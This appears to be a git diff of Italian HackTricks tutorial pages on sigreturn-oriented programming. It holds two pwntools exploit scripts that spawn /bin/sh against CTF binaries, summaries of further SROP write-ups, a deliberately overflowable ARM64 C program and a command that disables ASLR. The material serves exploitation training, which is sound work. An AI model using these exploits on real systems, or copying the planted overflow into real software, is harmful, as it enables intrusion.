+--------------------+--------------------+
|
||||
```
|
||||
Per una spiegazione più dettagliata controlla anche:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Esempio
|
||||
|
||||
Puoi [**trovare un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) dove la chiamata a signeturn è costruita tramite ROP (inserendo in rxa il valore `0xf`), anche se questo è l'exploit finale da lì:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln', checksec=False)
|
||||
p = process()
|
||||
|
||||
BINSH = elf.address + 0x1250
|
||||
POP_RAX = 0x41018
|
||||
SYSCALL_RET = 0x41015
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.rax = 0x3b # syscall number for execve
|
||||
frame.rdi = BINSH # pointer to /bin/sh
|
||||
frame.rsi = 0x0 # NULL
|
||||
frame.rdx = 0x0 # NULL
|
||||
frame.rip = SYSCALL_RET
|
||||
|
||||
payload = b'A' * 8
|
||||
payload += p64(POP_RAX)
|
||||
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
|
||||
payload += p64(SYSCALL_RET)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Controlla anche l'[**exploit da qui**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) dove il binario stava già chiamando `sigreturn` e quindi non è necessario costruire un **ROP**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Establish the target
|
||||
target = process("./small_boi")
|
||||
#gdb.attach(target, gdbscript = 'b *0x40017c')
|
||||
#target = remote("pwn.chal.csaw.io", 1002)
|
||||
|
||||
# Establish the target architecture
|
||||
context.arch = "amd64"
|
||||
|
||||
# Establish the address of the sigreturn function
|
||||
sigreturn = p64(0x40017c)
|
||||
|
||||
# Start making our sigreturn frame
|
||||
frame = SigreturnFrame()
|
||||
|
||||
frame.rip = 0x400185 # Syscall instruction
|
||||
frame.rax = 59 # execve syscall
|
||||
frame.rdi = 0x4001ca # Address of "/bin/sh"
|
||||
frame.rsi = 0x0 # NULL
|
||||
frame.rdx = 0x0 # NULL
|
||||
|
||||
payload = "0"*0x28 # Offset to return address
|
||||
payload += sigreturn # Function with sigreturn
|
||||
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
|
||||
|
||||
target.sendline(payload) # Send the target payload
|
||||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
## Altri Esempi e Riferimenti
|
||||
|
||||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* File binario in assembly che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack una [**ret2syscall**](../rop-syscall-execv/) tramite una struttura **sigreturn** e leggere il flag che si trova nella memoria del binario.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* File binario in assembly che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack una [**ret2syscall**](../rop-syscall-execv/) tramite una struttura **sigreturn** (il binario contiene la stringa `/bin/sh`).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con la mancanza di gadget che esegue un [**ret2syscall**](../rop-syscall-execv/). La catena ROP scrive `/bin/sh` nella `.bss` chiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax su `0xf` per chiamare un **SROP** ed eseguire una shell.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* Programma in assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri, chiamare una syscall e poi chiamare `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario su `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà nuovamente read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come prossima istruzione ed eseguirà.
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
# SROP - ARM64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Codice
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x0, #139; svc #0;");
|
||||
return;
|
||||
}
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compilalo con:
|
||||
```bash
|
||||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
Loading…
Add table
Reference in a new issue